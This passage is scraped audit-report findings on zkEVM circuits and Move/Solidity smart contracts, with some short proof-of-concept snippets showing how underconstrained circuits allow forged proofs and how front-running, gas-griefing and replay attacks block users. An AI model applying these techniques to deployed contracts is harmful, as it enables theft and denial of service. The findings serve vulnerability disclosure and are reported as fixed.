Report.pdf" + }, + { + "title": "1.1 Poseidon Hash\u2019s outputs are taken from capacity", + "labels": [ + "Zellic" + ], + "body": "Target: Poseidon Circuit, src/hash.rs Category: Cryptography Likelihood: N/A Severity: Informational : N/A Sponge-based hash functions are based on (disregarding padding for brevity) A state of t = r + c field elements A permutation \u03c0 on Ft p To hash the input, the state is initialized to zero and the input is first divided into chunks of r elements. Then the inputs are repeatedly fed into the first r elements of the state, then a permutation is applied. This continues until the input is fully incorporated. Then, until the output is fully retrieved, the first r elements of the state are taken out, applying the permutation if the output is not full yet. The However, in this implementation of Poseidon, which uses t = 3, r = 2, c = 1 with the output being a single field element, takes the said output from the capacity, i.e. the last c = 1 element, rather than from the rate, i.e. the first r elements. The construction of the hash does not match the definition of the sponge-based hash construction. Therefore, the implemented Poseidon hash function may not directly benefit from the previous cryptanalysis of Poseidon and other sponge-based hash functions. More research on the security of the Poseidon hash when the outputs are taken from the capacity, as well as research on how other projects have implemented the Posei- don hash should be conducted. We note that the permutation used for the sponge is up to specification. This issue has been acknowledged by Scroll. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.2 mpt_only being true leads to overconstrained circuits", + "labels": [ + "Zellic" + ], + "body": "Target: Poseidon Circuit, src/hash.rs Category: Overconstrained Circuits Likelihood: Low Severity: High : High Descripton The Poseidon table supports two modes of hashing - a MPT mode for hashing two field elements, and a Variable Length mode for hashing arbitrary length inputs. The SpongeChip gets mpt_only as an struct element, which denotes whether the chip will be purely used for MPT purposes. Depending on whether mpt_only is true, the custom rows padded at the beginning of the table changes. If it\u2019s true, there is only one custom row filled with zeroes. If not, there are two rows, with one additional row representing a hash of an empty message. However, due to incorrect ordering of logic, the custom gate is enabled in not only offset 0, but also offset 1. config.s_custom.enable(region, 1)?; if self.mpt_only { return Ok(1); } This means that the selector is incorrectly enabled on offset 1. The fact that a certain row is a custom row is represented with a selector, and it is constrained that a custom row should have 0 as the hash inputs and control value. meta.create_gate(\u201dcustom row\u201d, |meta| { let s_enable = meta.query_selector(s_custom); vec![ s_enable.clone() * meta.query_advice(hash_inp[0], Rotation:)cur()), s_enable.clone() * meta.query_advice(hash_inp[1], Rotation:)cur()), s_enable * meta.query_advice(control, Rotation:)cur()), ] Scroll }); In the case where mpt_only is true, the values of hash_inp[0], hash_inp[1] in offset 1 are the first two field elements that are used for hashing. Since these two values are overconstrained to be equal to 0, any hashing attempt with the two input values not equaling 0 will fail the ZKP verification. However, we did not find an instance where mpt_only is true in our current audit scope. A proof of concept can be done by using the tests in hash.rs, but using the chip con- struction with mpt_only set to true. Change the order of the two logic, as follows. if self.mpt_only { return Ok(1); } config.s_custom.enable(region, 1)?; This issue has been acknowledged by Scroll, and a fix was implemented in commit 912f5ed2. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.3 padding_shift is underconstrained in the bytecode circuit", + "labels": [ + "Zellic" + ], + "body": "Target: Bytecode Circuit, zkevm-circuits/src/bytecode_circuit/to_poseidon_h ash.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical Descripton To apply the Poseidon hash to the bytecode, a circuit is required to put together 31 bytes into a field element take two field elements and put it into a Poseidon width For the first part, the constraint system is set roughly as follows. If it is the 31st byte or the very last byte, it is a \u201cfield border\u201d The field_input column accumulates the bytes into a field element, i.e. field_i nput = byte * padding_shift if is_field_border_prev else field_input_prev + byte * padding_shift The padding_shift is the powers of 256, i.e. if not is_field_border_prev padd ing_shift :) padding_shift_prev / 256 If it is the 31st byte, the padding_shift = 1 The last constraint is not enough, as we also need to constrain padding_shift = 1 also when it is the very last byte, or at least have some way to constrain padding_shift for the last chunk of the bytecode, which might not be exactly 31 bytes. This vulnerability can be verified by modifying assign_extended_row and unroll_to_h ash_input so that the padding_shift values for the last chunk of the bytecode is mod- ified. let bytes_in_field_index_inv_f = F:)from((BYTES_IN_FIELD - bytes_in_field_index) as u64) .invert() .unwrap_or(F:)zero()); let mut padding_shift_f = F:)from(256 as u64) .pow_vartime([(BYTES_IN_FIELD - bytes_in_field_index) as u64]); let vuln = F:)from(13371337 as u64); if code_index / 31 =) code_length / 31 { padding_shift_f = padding_shift_f * vuln; } Scroll let vuln = F:)from(13371337 as u64); let (msgs, _) = code .chain(std:)iter:)repeat(0)) .take(fl_cnt * BYTES_IN_FIELD) .fold((Vec:)new(), Vec:)new()), |(mut msgs, mut cache), bt| { cache.push(bt); if cache.len() =) BYTES_IN_FIELD { let mut buf: [u8; 64] = [0; 64]; U256:)from_big_endian(&cache).to_little_endian(&mut buf[0.)32]); let ret = F:)from_bytes_wide(&buf); if msgs.len() =) fl_cnt - 1 { msgs.push(ret * vuln); } else { msgs.push(F:)from_bytes_wide(&buf)); } cache.clear(); } (msgs, cache) }); As of now, the padding_shift for the very last byte is not constrained at all, unless the length of the bytecode is a multiple of 31. By setting padding_shift for the last byte appropriately, the last field element for the Poseidon hash can be set to any field element. For example, this may lead to two different bytecodes hashing to the same field element. We recommend to add a constraint to the padding_shift for the last chunk of the bytecode. We note that constraining padding_shift = 1 when it is the field border leads to dif- ferent field values being mapped for the final chunk of the bytecode than the current implementation. For example, the final chunk of 0x01 will map to 1, rather than the current implementation\u2019s value of pow(256, 30). Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit e8aecb68. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.4 Missing range checks in MulAdd chip", + "labels": [ + "Zellic" + ], + "body": "Target: MulAdd Chip, gadgets/src/mul_add.rs Category: Underconstrained Cir- Severity: Critical : High cuits Likelihood: High The MulAdd chip checks the following relation: a * b + c =) d (mod 2^256). To per- form this calculation, the chip has to break up each number into smaller pieces (limbs) which vary in size from 64-bit to 128-bit. There are also auxillary elements in the chip used for carry where each limb is constrained to be 8-bit in size. As the field-element size in Halo2 is 254 bit, each of these limbs must have additional range checks to ensure that these limbs are properly constructed. Currently, there are no range checks on any of the individual elements used in the MulAdd chip. Following is a list of elements used by the circuits and the appropriate ranges checks that need to be performed: a_limb0 - a_limb3: [0, 264) b_limb0 - b_limb3: [0, 264) c_lo, c_hi: [0, 2128) d_lo, d_hi: [0, 2128) carry_lo0 - carry_lo8: [0, 28) carry_hi0 - carry_hi8: [0, 28) By allowing values beyond the intended range into these elements, one can pass the constraints used in the MulAdd chip with incorrect values. As an example, one of the constraints checked in the chip is: t0 = a0 \u00b7 b0 t1 = a0b1 + a1b0 t0 + t1264 + clo = dlo + carrylo2128 Without the proper range checks on carry_lo, one can generate a fake proof for any values of a, b, c and d by calculate and assigning the appropriate value to the limbs of carry_lo. Scroll We recommend using the RangeCheckGadget to constrain the elements used in the chip to their expected values as mentioned above. This issue has been acknowledged by Scroll, and a fix was implemented in commit b20bed27. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.5 Incorrect calculation of overflow value in MulAdd chip.", + "labels": [ + "Zellic" + ], + "body": "Target: MulAdd Chip, gadgets/src/mul_add.rs Category: Coding Mistakes Likelihood: Low Severity: Low : Low The MulAdd chip has an additional output which calculates if there was any overflow in the calculation of a * b + c: overflow = carry_hi_expr.clone() + a_limbs[1].clone() * b_limbs[3].clone() + a_limbs[2].clone() * b_limbs[2].clone() + a_limbs[3].clone() * b_limbs[2].clone() + a_limbs[2].clone() * b_limbs[3].clone() + a_limbs[3].clone() * b_limbs[2].clone() + a_limbs[3].clone() * b_limbs[3].clone(); The actual formula to calculate this value is (a1b3 + a2b2 + a3b1) + (a2b3 + a3b2) \u2217 264 + (a3b3) \u2217 2128 In the implementation, the third term is written as a3 \u2217 b2 when it should be a3 \u2217 b1 Within the zkevm circuits, the overflow parameter is only used in exp_circuit.rs as a parity check mul gadget. There, the overflow is tested to be either zero or non-zero. As the mistake in the implementation only affects the correctness of the value of the overflow, there is no security impact. In the future, if the exact value of the overflow is used as part of another circuit, this may cause correctness issues. To fix the mistake the implementation of overflow calculation. This issue has been acknowledged by Scroll, and a fix was implemented in commit d5ca004b. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.6 ExpCircuit has a under-constrained exponentiation algo- rithm", + "labels": [ + "Zellic" + ], + "body": "Target: ExpCircuit, zkevm-circuits/src/exp-circuit.rs Category: Underconstrained Cir- Severity: Critical : High cuits Likelihood: High The ExpCircuit is used to calculate and check the results of the EXP opcode from the EVM. Using the variables from the implementation, the following formula is checked: base*)exponent =) exponentiation (mod 2*)256) The circuit calculates the result using the exponentiation by squaring method. A pseudo- code of the algorithm is as follows: # MulAdd(a, b, c) = a * b + c = d if is_odd(exponent): constrain: MulAdd(2, exponent/)2, 1) =) exponent' result' = result * base else: constrain: MulAdd(2, exponent, 0) =) exponent result' = result * result When the parity check on the exponent is odd, there are no checks to ensure that the previous exponent was even. However, this is not an security issue as it only effects the efficiency of the algorithm but not the correctness. For the case when the exponent is even, there are no constraint checks on the first argument to the MulAdd chip to ensure that a = 2. With a specific assignment of wit- ness values, a malicious prover can prove the calculation of a incorrect exponentiation from the circuit. An example of a malicious witness assignment for the ExpTable can be seen below: Scroll base exp res p_a p_b p_c p_d m_a m_b m_d The column exp denotes the running exponent value and the column res represents the running value of exponentiation. Here, we can see that an attacker can incorrectly calculate the result that 5^12 =) 15 625 due to the under-constrained circuits. We recommend adding a constraint to check that the first argument to the parity check MulAdd gadget is 2 when the parity is even (c = 0). This issue has been acknowledged by Scroll, and a fix was implemented in commit 9b46ddbf. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.7 Bytecode Tag should be constrained to a boolean in Bytecod eCircuit", + "labels": [ + "Zellic" + ], + "body": "Target: Bytecode Circuit, zkevm-circuits/src/circuits.rs Severity: Low Category: Underconstrained Cir- : Low cuits Likelihood: Low The tag value in the BytecodeTable is used to determine whether a byte is a header (t ag = 0) or code (tag = 1). This tag is used in selectors such as is_header and is_byte to enable or disable certain constraints. These selectors make use of boolean expressions such as and:)expr, or:)expr and n ot:)expr applied on the tag column and other selector columns. These expressions have the invariant that the inputs to these must be either 0 or 1. If that is not the case, it can lead to unintended results. The is_header selector is calculated as not(tag): let is_header = |meta: &mut VirtualCells| { not:)expr(meta.query_advice(bytecode_table.tag, Rotation:)cur())) }; pub mod not { ///)) Returns an expression that represents the NOT of the given expression. pub fn expr)(b: E) -> Expression { 1.expr() - b.expr() } } In the normal usecase, is_header is true/non-zero when tag = 0. However, if the value of tag is 2, then is_header is also non-zero and it acts as true. Another unintended result happens when these selectors are multiplied with actual witness values as in the case of lookups: meta.lookup_any( \u201dpush_data_size_table_lookup(cur.value, cur.push_data_size)\u201d, |meta| { Scroll let enable = and:)expr(vec![ /) ...)) is_byte(meta), ]); /) ...)) for i in 0.)PUSH_TABLE_WIDTH { constraints.push(( enable.clone() * meta.query_advice(lookup_columns[i], Rotation:)cur()), meta.query_fixed(push_table[i], Rotation:)cur()), )) } }, ); The is_byte expression directly uses the value of the tag, so we can control the value of enable to be arbitrary. This allows us to assign any value we want to the first column of the lookup query, which will allow us to bypass the lookup check. In the case of the bytecode circuit, we were unable to find any particular way to make invalid bytecode pass the constraints because of the large number of constraints on each row. As a proactive measure, we recommend using the require_boolean constraint to en- sure that the value of bytecode_table.tag is 0 or 1, as it violates the invariants expected by the boolean expressions used in the selectors. This issue has been acknowledged by Scroll, and a fix was implemented in commit 267865d3. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.8 Redundant boolean constraint in Batched IsZero", + "labels": [ + "Zellic" + ], + "body": "Target: BatchedIsZeroChip, gadgets/src/batched_is_zero.rs Category: Overconstrained Circuits Likelihood: N/A Severity: Informational : N/A The BatchedIsZero chip takes in as input a list of values and a nonempty_witness and sets the is_zero to be 1 if all the input values are zero, and 0 otherwise. Currently, there is a constraint that checks that the value of is_zero is a boolean, i.e it is 0 or 1. We show that it is not necessary to have this constraint as it is implicitly checked by the other two constraints in the chip. 1. is_zero is 0 if there is any non-zero value: This constraint multiplies is_z If there is any ero with all the values, and ensures that all the results are 0. non-zero value, then is_zero must be 0, or else this constraint will fail. 2. is_zero is 1 if values are all zero: This constraint calculates (1 - is_zer o) * PROD(1 - value * nonzero_witness). We know from the previous con- straint that if there are any non-zero values, then is_zero must be equal to 0. This means that all the values are 0, and the terms in the product evaluate to 1. Therefore, the only possible value for is_zero which satisfies the constraint is 1. This shows that the value of is_zero can only be 0/1 based on the two constraints mentioned above. We suggest removing this redundant constraint to reduce the total number of con- straints, but we also understand if you would like to keep this constraint to maintain the clarity of the circuit implementation. This issue has been acknowledged by Scroll. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "1.9 Redundant boolean constraint in Exponentiation Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: ExpCircuit, zkevm-circuits/src/exp-circuit.rs Category: Overconstrained Circuits Likelihood: N/A Severity: Informational : N/A There is a constraint in the ExpCircuit which ensures that the columns is_step is al- ways boolean. /) is_step is boolean. cb.require_boolean( \u201dis_step is boolean\u201d, meta.query_fixed(exp_table.is_step, Rotation:)cur()), ); is_step is a Fixed Column whose values cannot be changed during witness synthesis and proving. Thus, this constraint is redundant and can be removed. We recommend removing this prover time constraint and instead adding a assert to ensure that the correct values are assigned to the is_step column during circuit com- pilation. This issue has been acknowledged by Scroll. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 1 - Audit Report.pdf" + }, + { + "title": "3.1 Wallet creation is vulnerable to front-running attacks", + "labels": [ + "Zellic" + ], + "body": "Target: creator Category: Business Logic Likelihood: Medium Severity: High : High The deployment of momentum safes is deterministic. This means that calls to init_w allet_creation(\u2026) can be front-run and safe deployment can be blocked. The call to init_wallet_creation(\u2026) passes control to init_wallet_creation_interna l(\u2026), public(friend) fun init_wallet_creation_internal( s: &signer, owners: vector
, threshold: u8, init_balance: u64, payload: vector, signature: vector, module_address: address, ) acquires PendingMultiSigCreations, MultiSigCreationEvent { let public_keys = get_public_keys(&owners); let pending = borrow_global_mut(THIS); let (msafe_address, nonce) = derive_new_multisig_auth_key( pending, signer:)address_of(s), public_keys, threshold ); /) Create the momentum safe wallet and send the initial fund for gas fee. aptos_account:)create_account(msafe_address); \u2026 \u2026 \u2026 \u2026 } which calls aptos_account:)create_account(msafe_address); on the deterministic ad- Zellic Momentum Safe dress generated from the call to derive_new_multisig_auth_key(pending, signer:)a ddress_of(s), public_keys, threshold). We created two unit tests to demonstrate this issue. For one, test_frontrun_no calls init_wallet_creation normally and passes if the call does not abort. However, test_ frontrun calculates msafe_address and registers an account at that address, passing if the call to init_wallet_creation aborts. An excerpt of the PoC is below: function test_frontrun() { ...)) let msafe_address = utils:)address_from_bytes(utils:)derive_multisig_auth_key(pubkeys, threshold, 0)); /) This causes the call to creator:)init_wallet_creation_internal to fail aptos_account:)create_account(msafe_address); creator:)init_wallet_creation( owner0, owner_addresses, threshold, init_balance, test_data.wallet_creation_payload, init_creation_sig, ); ...)) } We have provided the full PoC to Momentum Safe for reproduction and verification. A malicious user can monitor the mempool for pending init_wallet_creations(\u2026) transactions and block them by submitting transactions with a higher gas price that call aptos_account:)create_account(msafe_address). This is possible because the ad- dress msafe_address is directly readable from the mempool. An attacker could target specific users or groups of users, or eventually take on the entire protocol. Zellic Momentum Safe Alter the design of the msafe to use nondeterministic addresses. Alternatively, if the address already exists ensure that it is a multisignature account corresponding with the set of owners and multisignature threshold of the wallet being created. In commit a5517d01 Momentum Safe has implemented the following fix: /) Create the momentum safe wallet and send the initial fund for gas fee. if (!account:)exists_at(msafe_address)) { aptos_account:)create_account(msafe_address); }; assert!(account:)get_sequence_number(msafe_address) =) 0, ESEQUENCE_NUMBER_MUST_ZERO); If there is no aptos account at the msafe_address a new aptos account will be cre- ated. However, more importantly for the case of front running, if an aptos account has already been deployed than the call to init_wallet_creation will not fail. This is a suitable fix because the msafe_address has been generated based on the rules of Aptos native multisignature framework. This ensures that only the true owners of the multisignature, as they are passed in as function arguments to init_wallet_creat ion, are in control of the msafe_address. Zellic Momentum Safe", + "html_url": "https://github.com/Zellic/publications/blob/master/MSafe - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Momentum safe deployment is vulnerable to max_gas at- tacks", + "labels": [ + "Zellic" + ], + "body": "Target: creator Category: Business Logic Likelihood: Medium Severity: High : Medium When momentum safes are deployed using momentum_safe:)register(\u2026), the mo- mentum safe metadata is retrieved using a call to creator:)get_creation(\u2026), as shown below: public entry fun register( msafe: &signer, metadata: vector ) { \u2026 \u2026 let (owners, public_keys, nonce, threshold) = creator:)get_creation(msafe_address); create_momentum(msafe, owners, public_keys, nonce, threshold, metadata); } The call to get_creation(\u2026) leads to an internal call to simple_map:)borrow(&pending. creations, &msafe_address);: public fun get_creation( msafe_address: address ): ( vector
, vector), u64, u8 ) acquires PendingMultiSigCreations { \u2026 \u2026 let creation = simple_map:)borrow(&pending.creations, &msafe_address); Zellic Momentum Safe } The underlying pending data structure can be stuffed with pending safes by any user who 1) calls registry:)register(\u2026) and 2) repeatedly calls creator:)init_wallet_cr eation with unique owners and threshold: public(friend) fun init_wallet_creation_internal( s: &signer, owners: vector
, threshold: u8, init_balance: u64, payload: vector, signature: vector, module_address: address, \u2026 \u2026 \u2026 ) acquires PendingMultiSigCreations, MultiSigCreationEvent { let (msafe_address, nonce) = derive_new_multisig_auth_key( pending, signer:)address_of(s), public_keys, threshold ); simple_map:)add(&mut pending.creations, msafe_address, new_creation); } This creates an opportunity for max_gas attacks because simple_map:)borrow(\u2026); uses a binary search algorithm, which is O(sqrt(N)). Use a hash map for storing pending safe creations in the PendingMultiSigCreations struct. Momentum Safe has addressed the griefing attack vector by replacing aptos:)simpl e_map with aptos:)table in commit 18c8bbf5. Zellic Momentum Safe", + "html_url": "https://github.com/Zellic/publications/blob/master/MSafe - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Transactions can be blocked from max_gas attacks", + "labels": [ + "Zellic" + ], + "body": "Target: momentum_safe Category: Business Logic Likelihood: Medium Severity: High : Medium Before transactions can be submitted for execution, all momentum safe owners must make calls to momentum_safe:)submit_signature(\u2026). This retrieves the pending trans- action information through a call to a simple_map: public entry fun submit_signature( msafe_address: address, pk_index: u64, tx_hash: vector, signature: vector ) acquires Momentum, MomentumSafeEvent { \u2026 \u2026 let tx = simple_map:)borrow_mut(&mut momentum.txn_book.pendings, &tx_hash); } The underlying pendings data structure can be stuffed with pending safes by a mali- cious member of the momentum safe who repeatedly calls momentum_safe:)init_tra nsaction(\u2026): public entry fun init_transaction( msafe_address: address, pk_index: u64, payload: vector, signature: vector, ) acquires Momentum, MomentumSafeEvent { \u2026 \u2026 /) Validate the transaction payload let (tx_sn, cur_sn) = validate_txn_payload(msafe_address, payload); add_to_txn_book(&mut momentum.txn_book, tx_sn, new_tx); Zellic Momentum Safe /) Prune previous transactions with stale sequence number try_prune_pre_txs(&mut momentum.txn_book, cur_sn - 1); \u2026 } This creates an opportunity for max_gas attacks because simple_map:)borrow(\u2026); uses a binary search algorithm, which is O(sqrt(N)). An attacker could stuff the txn_book.pendings to the point where the compute costs of simple_map:)borrow(\u2026) exceed max_gas. This would prevent anyone in the momentum safe from being able to sign pending transactions. Because gas is cheap on Move-Aptos, this attack could potentially be financially fea- sible to a wide range of users. Use a hash map for storing pending safe creations in the PendingMultiSigCreations struct. Similar to the previous finding, Momentum Safe has addressed the griefing attack vec- tor by replacing aptos:)simple_map with aptos:)table in commit 18c8bbf5. We applaud Momentum Safe for their vigalence during the auditing process. They also uncovered a similar griefing attack vector affecting the registry:)OwnerMomentu mSafes data structure. The use of std:)vector for OwnerMomentumSafes.pendings and OwnerMomentumSafes.msafes has been replaced with a custom table_map located in ta ble_map.move. Zellic Momentum Safe 4 Formal Verification The Move prover allows for formal specifications to be written on Move code, which can provide guarantees on function behavior. During the audit period, we provided Momentum Safe with Move prover specifica- tions, a form of formal verification. We found the prover to be highly effective at evaluating the entirety of certain functions\u2019 behavior and recommend the Momentum Safe team to add more specifications to their code base. One of the issues we encountered was that the prover does not support bitwise op- erations yet. The following is a sample of the specifications provided.", + "html_url": "https://github.com/Zellic/publications/blob/master/MSafe - Zellic Audit Report.pdf" + }, + { + "title": "4.1 msafe::creator Ensures the PendingMultisigCreations resource is created upon initialization. spec init_module { ensures exists(signer:)address_of(creator));", + "labels": [ + "Zellic" + ], + "body": "4.1 msafe::creator Ensures the PendingMultisigCreations resource is created upon initialization. spec init_module { ensures exists(signer:)address_of(creator)); }", + "html_url": "https://github.com/Zellic/publications/blob/master/MSafe - Zellic Audit Report.pdf" + }, + { + "title": "4.2 msafe::registry Ensures that the OwnerMomentumSafes resource is created upon register. spec register { ensures exists(signer:)address_of(s));", + "labels": [ + "Zellic" + ], + "body": "4.2 msafe::registry Ensures that the OwnerMomentumSafes resource is created upon register. spec register { ensures exists(signer:)address_of(s)); }", + "html_url": "https://github.com/Zellic/publications/blob/master/MSafe - Zellic Audit Report.pdf" + }, + { + "title": "4.3 msafe::transactions Ensures that the buffer does not overflow. Zellic Momentum Safe spec set_pos_negative { ensures r.offset <) len(r.buffer); } spec set_pos { ensures r.offset <) len(r.buffer); } spec skip { ensures r.offset <) len(r.buffer);", + "labels": [ + "Zellic" + ], + "body": "4.3 msafe::transactions Ensures that the buffer does not overflow. Zellic Momentum Safe spec set_pos_negative { ensures r.offset <) len(r.buffer); } spec set_pos { ensures r.offset <) len(r.buffer); } spec skip { ensures r.offset <) len(r.buffer); }", + "html_url": "https://github.com/Zellic/publications/blob/master/MSafe - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Component: Composable Stable Pool Wrapper Module flow The module is a thin wrapper around the functionality that converts between shares and assets, using the Balancer pool\u2019s stable math logic. The module also gives protec- tion against reentrancy while inside the view context, where state cannot be modified. The state being unmodifiable is accomplished by VaultReentrancyLib.sol, which tries to purposefully trigger the actual reentrancy guard, expecting it to immediately revert when the reentrancy flag is mutated in a (read-only) view context. From the length of the revert data, it is possible to differentiate between a revert due to actual reentrancy or an attempt to modify state in a view context", + "labels": [ + "Zellic" + ], + "body": "4.1 Component: Composable Stable Pool Wrapper Module flow The module is a thin wrapper around the functionality that converts between shares and assets, using the Balancer pool\u2019s stable math logic. The module also gives protec- tion against reentrancy while inside the view context, where state cannot be modified. The state being unmodifiable is accomplished by VaultReentrancyLib.sol, which tries to purposefully trigger the actual reentrancy guard, expecting it to immediately revert when the reentrancy flag is mutated in a (read-only) view context. From the length of the revert data, it is possible to differentiate between a revert due to actual reentrancy or an attempt to modify state in a view context.", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO V2 Ecosystem - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Module: FlywheelBoosterGaugeWeight.sol Function: optIn(ERC20 strategy, FlywheelCore flywheel) 1. Performs the check that userGaugeflywheelId is not already set for msg.sender and corresponds to the strategy and flywheel addresses. 2. Performs the check that the strategy address is trusted gauge. 3. Performs the check that the Flywheel contract was actually deployed over the bribesFactory. 4. Accrues rewards for the msg.sender on a strategy. 5. Increases the whole amount of flywheelStrategyGaugeWeight[strategy][flywh eel] by the current user balance allocated to the strategy. 6. Adds the flywheel address to the array userGaugeFlywheels[msg.sender][strat egy]. Zellic Maia DAO 7. Adds the index of flywheel from userGaugeFlywheels to the userGaugeflywheel Id[msg.sender][strategy][flywheel]. Inputs", + "labels": [ + "Zellic" + ], + "body": "strategy \u2013 Constraints: The address should be a trusted gauge. \u2013 : For this strategy address, the boostedTotalSupply value will be in- creased; further, this value will be used to accumulate global rewards on a strategy. flywheel \u2013 Constraints: The contract should be deployed over the bribesFactory. \u2013 : The contract that manages token rewards. It distributes reward streams across various strategies and distributes them among the users of these strategies. Branches and code coverage (including function calls) Intended branches The userGaugeflywheelId != 0 after the call. 4\u25a1 Test coverage The flywheelStrategyGaugeWeight incremented. \u25a1 Test coverage Negative behavior Double optIn for the same strategy and flywheel. 4\u25a1 Negative test The strategy is not a gauge. 4\u25a1 Negative test The untrusted Flywheel contract. 4\u25a1 Negative test Function call analysis flywheel.accrue(strategy, msg.sender) \u2013 What is controllable? flywheel and strategy. \u2013 If return value controllable, how is it used and how can it go wrong? N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow? If reverted, the user will not be able to optIn and the user\u2019s balance will not be able to take into account total supply. bHermesGauges(owner()).getUserGaugeWeight(msg.sender, address(strategy)) Zellic Maia DAO \u2013 What is controllable? strategy. \u2013 If return value controllable, how is it used and how can it go wrong? Return the user\u2019s allocated weight to that gauge (strategy). \u2013 What happens if it reverts, reenters, or does other unusual control flow? No problem \u2014 just view function. Function: optOut(ERC20 strategy, FlywheelCore flywheel) 1. Performs the check that the strategy and flywheel addresses were optIn by msg.sender. (b) Accrues rewards for the msg.sender on a strategy. (c) Decreases the whole amount of flywheelStrategyGaugeWeight[strategy] [flywheel] by the current user balance allocated to the strategy. (d) Deletes the flywheel address from userGaugeFlywheels[msg.sender][stra tegy]. (e) Deletes the index of the flywheel address from userGaugeflywheelId[msg. sender][strategy][flywheel]. Inputs strategy \u2013 Constraints: The userFlywheelId should not be zero for the provided stra tegy and flywheel. \u2013 : The strategy address for which the user will optOut, but only after the optIn call. flywheel \u2013 Constraints: The userFlywheelId should not be zero for the provided stra tegy and flywheel. \u2013 : The flywheel address for which the user will optOut, but only after the optIn call. Branches and code coverage (including function calls) Intended branches The userGaugeflywheelId == 0 after the call. 4\u25a1 Test coverage The flywheelStrategyGaugeWeight decremented. \u25a1 Test coverage Negative behavior Zellic Maia DAO msg.sender did not optIn before for strategy and flywheel. 4\u25a1 Negative test msg.sender did not optIn before for strategy. 4\u25a1 Negative test msg.sender did not optIn before for flywheel. 4\u25a1 Negative test The case when length !) userFlywheelId. \u25a1 Negative test Function call analysis flywheel.accrue(strategy, msg.sender) \u2013 What is controllable? flywheel and strategy. \u2013 If return value controllable, how is it used and how can it go wrong? N/A. \u2013 What happens if it reverts, reenters, or does other unusual control flow? If reverted, the user will not be able to optIn and the user\u2019s balance will not be able to take into account total supply. bHermesGauges(owner()).getUserGaugeWeight(msg.sender, address(strategy)) \u2013 What is controllable? strategy. \u2013 If return value controllable, how is it used and how can it go wrong? Return the user\u2019s allocated weight to that gauge (strategy). \u2013 What happens if it reverts, reenters, or does other unusual control flow? No problem \u2014 just view function. Zellic Maia DAO 5 Assessment Results At the time of our assessment, the reviewed code was not deployed to the Ethereum Mainnet. During our assessment on the scoped Maia DAO V2 Ecosystem contracts, we discov- ered one finding, which was of high impact. Maia DAO acknowledged the finding and implemented a fix.", + "html_url": "https://github.com/Zellic/publications/blob/master/Maia DAO V2 Ecosystem - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Missing replay protection on step", + "labels": [ + "Zellic" + ], + "body": "Target: LightClient Category: Coding Mistakes Likelihood: High Severity: High : High One of the methods to update the state of the light client is the step function, which can be called when the light client has an existing sync committee poseidon for the requested finalizedSlot: function step(LightClientStep memory update) external { bool finalized = processStep(update); if (getCurrentSlot() < update.attestedSlot) { revert(\u201cUpdate slot is too far in the future\u201d); } if (finalized) { setHead(update.finalizedSlot, update.finalizedHeaderRoot); setExecutionStateRoot(update.finalizedSlot, update.executionStateRoot); setTimestamp(update.finalizedSlot, block.timestamp); } else { revert(\u201cNot enough participants\u201d); } } If the proof is verified and finalized, the head, execution state root, and timestamp for the slot are all updated: ///)) @notice Sets the current slot for the chain the light client is reflecting. function setHead(uint256 slot, bytes32 root) internal { if (headers[slot] !) bytes32(0) &) headers[slot] !) root) { consistent = false; Zellic Succinct return; } head = slot; headers[slot] = root; emit HeadUpdate(slot, root); } ///)) @notice Sets the execution state root for a given slot. function setExecutionStateRoot(uint256 slot, bytes32 root) internal { if (executionStateRoots[slot] !) bytes32(0) &) executionStateRoots[slot] !) root) { consistent = false; return; } executionStateRoots[slot] = root; } ///)) @notice Sets the sync committee poseidon for a given period. function setSyncCommitteePoseidon(uint256 period, bytes32 poseidon) internal { if ( syncCommitteePoseidons[period] !) bytes32(0) &) syncCommitteePoseidons[period] !) poseidon ) { } consistent = false; return; syncCommitteePoseidons[period] = poseidon; emit SyncCommitteeUpdate(period, poseidon); } function setTimestamp(uint256 slot, uint256 timestamp) internal { timestamps[slot] = timestamp; } The issue is there is no check to ensure the new finalizedSlot is greater than the current head and no check to ensure that a previous call to step is not being replayed. If the same LightClientStep update is used a second time, it will pass all of the checks and roll back the current head to the finalizedSlot from the previous update and set the timestamp for the slot to the current block timestamp. Zellic Succinct As replaying a previous update will cause the timestamp for that slot to be updated, this then prevents it from being used for another five minutes due to the minimum delay: ///)) @notice The minimum delay for using any information from the light client. uint256 public constant MIN_LIGHT_CLIENT_DELAY = 60 * 5; ///)) @notice Checks that the light client delay is adequate. function requireLightClientDelay(uint64 slot, uint32 chainId) internal view { uint256 elapsedTime = block.timestamp - lightClients[chainId].timestamps(slot); require(elapsedTime >) MIN_LIGHT_CLIENT_DELAY, \u201cMust wait longer to use this slot.\u201d); } A malicious user could continually replay an update message to prevent that slot from being used as the requireLightClientDelay would constantly revert. A check should be added to ensure that the head slot is only ever increasing. The issue has been fixed in commit 485c2474. Zellic Succinct", + "html_url": "https://github.com/Zellic/publications/blob/master/Succinct Telepathy - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Frozen state not used on source chain", + "labels": [ + "Zellic" + ], + "body": "Target: SourceAMB 